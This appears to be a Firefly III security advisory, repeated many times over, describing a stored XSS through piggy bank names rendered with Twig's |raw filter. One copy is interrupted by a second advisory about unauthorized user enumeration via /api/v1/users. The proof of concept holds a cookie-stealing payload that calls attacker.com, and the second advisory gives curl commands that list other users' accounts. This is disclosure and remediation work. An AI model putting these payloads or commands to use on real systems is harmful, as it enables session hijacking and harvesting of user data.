grumpydictator/firefly-iii

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

1. Authenticate as any user
2. POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
3. Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
4. Trigger the rule on any transaction
5. Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

• Stored XSS persists in DB — fires for every user who views the transaction
• Cookie theft → session hijacking
• In multi-user setups: one user attacks another user or admin
• Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

1. Authenticate as any user
2. POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
3. Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
4. Trigger the rule on any transaction
5. Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

• Stored XSS persists in DB — fires for every user who views the transaction
• Cookie theft → session hijacking
• In multi-user setups: one user attacks another user or admin
• Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

1. Authenticate as any user
2. POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
3. Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
4. Trigger the rule on any transaction
5. Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

• Stored XSS persists in DB — fires for every user who views the transaction
• Cookie theft → session hijacking
• In multi-user setups: one user attacks another user or admin
• Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

1. Authenticate as any user
2. POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
3. Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
4. Trigger the rule on any transaction
5. Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

• Stored XSS persists in DB — fires for every user who views the transaction
• Cookie theft → session hijacking
• In multi-user setups: one user attacks another user or admin
• Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

1. Authenticate as any user
2. POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
3. Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
4. Trigger the rule on any transaction
5. Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

• Stored XSS persists in DB — fires for every user who views the transaction
• Cookie theft → session hijacking
• In multi-user setups: one user attacks another user or admin
• Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

1. Authenticate as any user
2. POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
3. Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
4. Trigger the rule on any transaction
5. Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

• Stored XSS persists in DB — fires for every user who views the transaction
• Cookie theft → session hijacking
• In multi-user setups: one user attacks another user or admin
• Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

1. Authenticate as any user
2. POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
3. Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
4. Trigger the rule on any transaction
5. Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

• Stored XSS persists in DB — fires for every user who views the transaction
• Cookie theft → session hijacking
• In multi-user setups: one user attacks another user or admin
• Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

1. Authenticate as any user
2. POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
3. Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
4. Trigger the rule on any transaction
5. Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

• Stored XSS persists in DB — fires for every user who views the transaction
• Cookie theft → session hijacking
• In multi-user setups: one user attacks another user or admin
• Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

1. Authenticate as any user
2. POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
3. Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
4. Trigger the rule on any transaction
5. Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

• Stored XSS persists in DB — fires for every user who views the transaction
• Cookie theft → session hijacking
• In multi-user setups: one user attacks another user or admin
• Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

1. Authenticate as any user
2. POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
3. Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
4. Trigger the rule on any transaction
5. Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

• Stored XSS persists in DB — fires for every user who views the transaction
• Cookie theft → session hijacking
• In multi-user setups: one user attacks another user or admin
• Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

1. Authenticate as any user
2. POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
3. Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
4. Trigger the rule on any transaction
5. Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

• Stored XSS persists in DB — fires for every user who views the transaction
• Cookie theft → session hijacking
• In multi-user setups: one user attacks another user or admin
• Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

1. Authenticate as any user
2. POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
3. Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
4. Trigger the rule on any transaction
5. Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

• Stored XSS persists in DB — fires for every user who views the transaction
• Cookie theft → session hijacking
• In multi-user setups: one user attacks another user or admin
• Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

1. Authenticate as any user
2. POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
3. Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
4. Trigger the rule on any transaction
5. Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

• Stored XSS persists in DB — fires for every user who views the transaction
• Cookie theft → session hijacking
• In multi-user setups: one user attacks another user or admin
• Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Summary

The User management API endpoints (GET /api/v1/users and GET /api/v1/users/{id}) are accessible to any authenticated user without admin/owner role verification, exposing all users' email addresses, roles, and account status.

Affected Endpoints

1. GET /api/v1/users (UserController::index, line 94) — Lists ALL users with full details. No role check.
2. GET /api/v1/users/{id} (UserController::show, line 126) — Shows any user's details by ID. No role check.

Root Cause (1-of-N Inconsistency)

Other methods in the same controller properly check for the 'owner' role:

• store() — UserStoreRequest::authorize() checks auth()->user()->hasRole('owner') ✓
• destroy() — Explicitly checks $this->repository->hasRole($admin, 'owner') ✓

But index() and show() have no role check at all. The route group at routes/api.php:734-747 has no admin middleware, only the global auth:api middleware.

Exposed Data

The UserTransformer (line 40-54) returns:

• email — user's email address
• role — user's role (owner/demo)
• blocked — account blocked status
• blocked_code — block reason
• created_at / updated_at — timestamps

Impact

Any authenticated user can:

1. Enumerate ALL user accounts in the instance
2. Harvest email addresses for phishing/social engineering
3. Identify admin/owner accounts by role
4. Determine which accounts are blocked

Exploitation

# List all users
curl -H "Authorization: Bearer <any_user_token>" https://instance/api/v1/users

# View specific user details
curl -H "Authorization: Bearer <any_user_token>" https://instance/api/v1/users/1

Suggested Fix

Add owner role checks to index() and show(), or restrict the route group with admin middleware:

// Option 1: Add check in controller methods
public function show(User $user): JsonResponse
{
    if (!$this->repository->hasRole(auth()->user(), 'owner') && auth()->user()->id !== $user->id) {
        throw new FireflyException('200025: No access to function.');
    }
    // ...
}

// Option 2: Add middleware to route group
Route::group(['middleware' => ['admin'], ...], ...)

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

1. Authenticate as any user
2. POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
3. Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
4. Trigger the rule on any transaction
5. Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

• Stored XSS persists in DB — fires for every user who views the transaction
• Cookie theft → session hijacking
• In multi-user setups: one user attacks another user or admin
• Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}